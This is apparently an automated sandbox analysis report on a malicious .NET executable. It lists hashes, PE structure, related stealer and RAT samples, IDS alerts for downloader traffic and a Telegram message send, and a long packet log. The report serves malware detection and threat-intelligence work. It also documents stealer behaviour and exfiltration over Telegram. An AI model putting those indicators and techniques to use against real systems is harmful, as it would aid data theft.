	atomxml.ps1	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	149.154.167.220
	QUOTATION - RFQ2496_PO 08775622879.pdf(87kb).com.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	174.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\pbCN4g6sN5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4x84qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHxviYHKh3oPtHo6hAHKzea
MD5:	7B709BC412BEC5C3CFD861C041DAD408
SHA1:	532EA6BB3018AE3B51E7A5788F614A6C49252BCF
SHA-256:	733765A1599E02C53826A4AE984426862AA714D8B67F889607153888D40BBD75
SHA-512:	B35CFE36A1A40123FDC8A5E7C804096FF33F070F40CBA5812B98F46857F30BA2CE6F86E1B5D20F9B6D00D6A8194B8FA36C27A0208C7886512877058872277963
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.997924935682203
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	pbCN4g6sN5.exe
File size:	816'128 bytes
MD5:	7d88e5bad194e89ada135543169da996
SHA1:	929a742475ae4b93a5e164b1d565d7d7f78f6b62
SHA256:	0d6d13b615ce21e4a4ff75ec6ad0047a5664aafc05745188afc2e4497c2bed9f
SHA512:	8906f861bc6049f059757a24d326b21ea626d4b890791c1e10f101a8f387ae24febcc5501440ea45d07675c775286664dcd75d4f61a2929939cc87169ae0aede
SSDEEP:	12288:zibdSKErr8jptCVn7B/7jJIk9dB6g5MCao3AiqLwgDn7PK:VqpgVt/7mk9dBKo3A9LD7PK
TLSH:	3005E0007385ED7AF8B804368774C7F751ACEE0294AB169F496E3A47BC7C22639F2495
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g.t9.................4...>......^R... ...`....@.. ....................................`................................

File Icon


Icon Hash:	74f0d4d4d4d4d4cc

Static PE Info

General

Entrypoint:	0x4b525e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x3974DE67 [Tue Jul 18 22:47:03 2000 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5210	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb6000	0x13ac8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xca000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb3264	0xb3400	ca24903e1a54d4620213a802a8cb08dd	False	0.6400488689853556	data	7.045918402735076	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb6000	0x13ac8	0x13c00	3b35da8abd436ffa84ad1a516fa28b1b	False	0.42601611946202533	data	6.0105573277605675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xca000	0xc	0x200	4c89f604887db2a126260a77844927b7	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xb6658	0x42b0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9922680412371134
RT_ICON	0xba908	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.4594882729211087
RT_ICON	0xbb7b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.48826714801444043
RT_ICON	0xbc058	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.478110599078341
RT_ICON	0xbc720	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.37210982658959535
RT_ICON	0xbcc88	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.24201244813278008
RT_ICON	0xbf230	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.2924484052532833
RT_ICON	0xc02d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.3942622950819672
RT_ICON	0xc0c60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.49379432624113473
RT_ICON	0xc10c8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.33198924731182794
RT_ICON	0xc13b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.41216216216216217
RT_ICON	0xc14d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.42905405405405406
RT_ICON	0xc1600	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.2661290322580645
RT_ICON	0xc18e8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.18010752688172044
RT_ICON	0xc1bd0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128			0.35135135135135137
RT_ICON	0xc1cf8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.06092057761732852
RT_ICON	0xc25a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.07658959537572255
RT_ICON	0xc2b08	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3072			0.042901234567901236
RT_ICON	0xc37b0	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768			0.10550458715596331
RT_ICON	0xc3b18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.6400709219858156
RT_ICON	0xc3f80	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.5
RT_ICON	0xc40a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.19060283687943264
RT_ICON	0xc4510	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352			0.11429872495446267
RT_ICON	0xc5638	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792			0.07211147274206672
RT_ICON	0xc7ca0	0x1952	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.7099660598580685
RT_GROUP_ICON	0xc95f4	0x3e	data			0.8709677419354839
RT_GROUP_ICON	0xc9634	0x84	data			0.6893939393939394
RT_GROUP_ICON	0xc96b8	0x22	data			1.0588235294117647
RT_GROUP_ICON	0xc96dc	0x22	data			1.0588235294117647
RT_GROUP_ICON	0xc9700	0x5a	data			0.7666666666666667
RT_GROUP_ICON	0xc975c	0x22	data			1.1176470588235294
RT_VERSION	0xc9780	0x348	data	English	United States	0.4154761904761905

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T16:33:08.959347+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49821	132.226.8.169	80	TCP
2025-01-08T16:33:10.111995+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49821	132.226.8.169	80	TCP
2025-01-08T16:33:10.683264+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49836	188.114.97.3	443	TCP
2025-01-08T16:33:11.537491+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49841	132.226.8.169	80	TCP
2025-01-08T16:33:15.157202+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49869	188.114.97.3	443	TCP
2025-01-08T16:33:18.079410+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49892	188.114.97.3	443	TCP
2025-01-08T16:33:21.949552+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49920	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 16:33:07.821955919 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:07.826802015 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:07.826909065 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:07.827218056 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:07.831980944 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:08.627363920 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:08.630911112 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:08.635660887 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:08.905949116 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:08.952450991 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:08.952493906 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:08.952575922 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:08.959347010 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:08.960103989 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:08.960123062 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.571170092 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.571250916 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:09.575360060 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:09.575380087 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.575673103 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.615621090 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:09.628108978 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:09.675323009 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.780637026 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.780689955 CET	443	49827	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:09.780874968 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:09.787493944 CET	49827	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:09.791059971 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:09.795845032 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:10.063947916 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:10.066129923 CET	49836	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:10.066153049 CET	443	49836	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:10.066231966 CET	49836	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:10.066503048 CET	49836	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:10.066517115 CET	443	49836	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:10.111994982 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:10.523819923 CET	443	49836	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:10.525259018 CET	49836	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:10.525278091 CET	443	49836	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:10.683288097 CET	443	49836	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:10.683351994 CET	443	49836	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:10.683496952 CET	49836	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:10.684163094 CET	49836	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:10.687520981 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:10.688711882 CET	49841	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:10.692450047 CET	80	49821	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:10.692620039 CET	49821	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:10.693470955 CET	80	49841	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:10.693572998 CET	49841	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:10.693666935 CET	49841	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:10.698412895 CET	80	49841	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:11.486530066 CET	80	49841	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:11.487879038 CET	49847	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:11.487909079 CET	443	49847	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:11.488028049 CET	49847	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:11.488281012 CET	49847	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:11.488292933 CET	443	49847	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:11.537491083 CET	49841	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:12.088023901 CET	443	49847	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:12.089840889 CET	49847	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:12.089867115 CET	443	49847	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:12.231367111 CET	443	49847	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:12.231429100 CET	443	49847	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:12.231489897 CET	49847	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:12.231995106 CET	49847	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:12.237262011 CET	49853	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:12.242084980 CET	80	49853	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:12.242161989 CET	49853	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:12.242264032 CET	49853	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:12.247066975 CET	80	49853	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:13.042296886 CET	80	49853	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:13.043539047 CET	49859	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:13.043574095 CET	443	49859	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:13.043629885 CET	49859	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:13.043889999 CET	49859	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:13.043905973 CET	443	49859	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:13.084407091 CET	49853	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:13.522797108 CET	443	49859	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:13.524523973 CET	49859	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:13.524547100 CET	443	49859	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:13.651992083 CET	443	49859	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:13.652060986 CET	443	49859	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:13.652169943 CET	49859	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:13.652590036 CET	49859	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:13.655731916 CET	49853	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:13.656764030 CET	49863	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:13.660665989 CET	80	49853	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:13.661570072 CET	80	49863	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:13.661746979 CET	49853	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:13.661780119 CET	49863	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:13.661869049 CET	49863	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:13.666593075 CET	80	49863	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:14.477482080 CET	80	49863	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:14.479029894 CET	49869	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:14.479074955 CET	443	49869	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:14.479134083 CET	49869	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:14.479398012 CET	49869	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:14.479408979 CET	443	49869	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:14.521862984 CET	49863	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:15.005306005 CET	443	49869	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:15.007201910 CET	49869	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:15.007225990 CET	443	49869	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:15.157234907 CET	443	49869	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:15.157299042 CET	443	49869	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:15.157587051 CET	49869	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:15.157875061 CET	49869	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:15.161279917 CET	49863	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:15.162470102 CET	49874	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:15.166263103 CET	80	49863	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:15.166321993 CET	49863	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:15.167258024 CET	80	49874	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:15.167334080 CET	49874	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:15.167418003 CET	49874	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:15.172147036 CET	80	49874	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:15.970668077 CET	80	49874	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:15.972712994 CET	49880	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:15.972764015 CET	443	49880	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:15.972868919 CET	49880	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:15.973401070 CET	49880	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:15.973428965 CET	443	49880	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:16.021925926 CET	49874	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:16.443481922 CET	443	49880	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:16.445400000 CET	49880	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:16.445425034 CET	443	49880	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:16.596282005 CET	443	49880	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:16.596348047 CET	443	49880	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:16.596412897 CET	49880	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:16.596875906 CET	49880	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:16.603815079 CET	49874	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:16.604456902 CET	49886	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:16.610398054 CET	80	49874	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:16.610543013 CET	49874	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:16.610851049 CET	80	49886	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:16.610929966 CET	49886	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:16.611049891 CET	49886	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:16.617454052 CET	80	49886	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:17.398276091 CET	80	49886	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:17.400063038 CET	49892	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:17.400087118 CET	443	49892	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:17.400255919 CET	49892	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:17.407385111 CET	49892	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:17.407397985 CET	443	49892	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:17.443761110 CET	49886	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:17.922718048 CET	443	49892	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:17.924806118 CET	49892	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:17.924832106 CET	443	49892	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:18.079444885 CET	443	49892	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:18.079519033 CET	443	49892	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:18.079601049 CET	49892	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:18.080121040 CET	49892	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:18.101367950 CET	49886	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:18.102816105 CET	49897	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:18.106251001 CET	80	49886	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:18.106323004 CET	49886	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:18.107636929 CET	80	49897	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:18.107701063 CET	49897	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:18.107815027 CET	49897	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:18.112612009 CET	80	49897	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:18.891547918 CET	80	49897	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:18.892997026 CET	49904	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:18.893024921 CET	443	49904	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:18.893085003 CET	49904	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:18.893393993 CET	49904	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:18.893403053 CET	443	49904	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:18.944190025 CET	49897	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:19.360199928 CET	443	49904	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:19.361964941 CET	49904	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:19.361979008 CET	443	49904	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:19.531297922 CET	443	49904	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:19.531403065 CET	443	49904	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:19.531614065 CET	49904	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:19.531972885 CET	49904	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:19.535188913 CET	49897	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:19.535948038 CET	49908	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:19.540108919 CET	80	49897	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:19.540188074 CET	49897	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:19.540756941 CET	80	49908	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:19.541451931 CET	49908	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:19.541558027 CET	49908	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:19.546262980 CET	80	49908	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:20.356795073 CET	80	49908	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:20.358244896 CET	49915	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:20.358306885 CET	443	49915	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:20.358448029 CET	49915	443	192.168.2.4	188.114.97.3
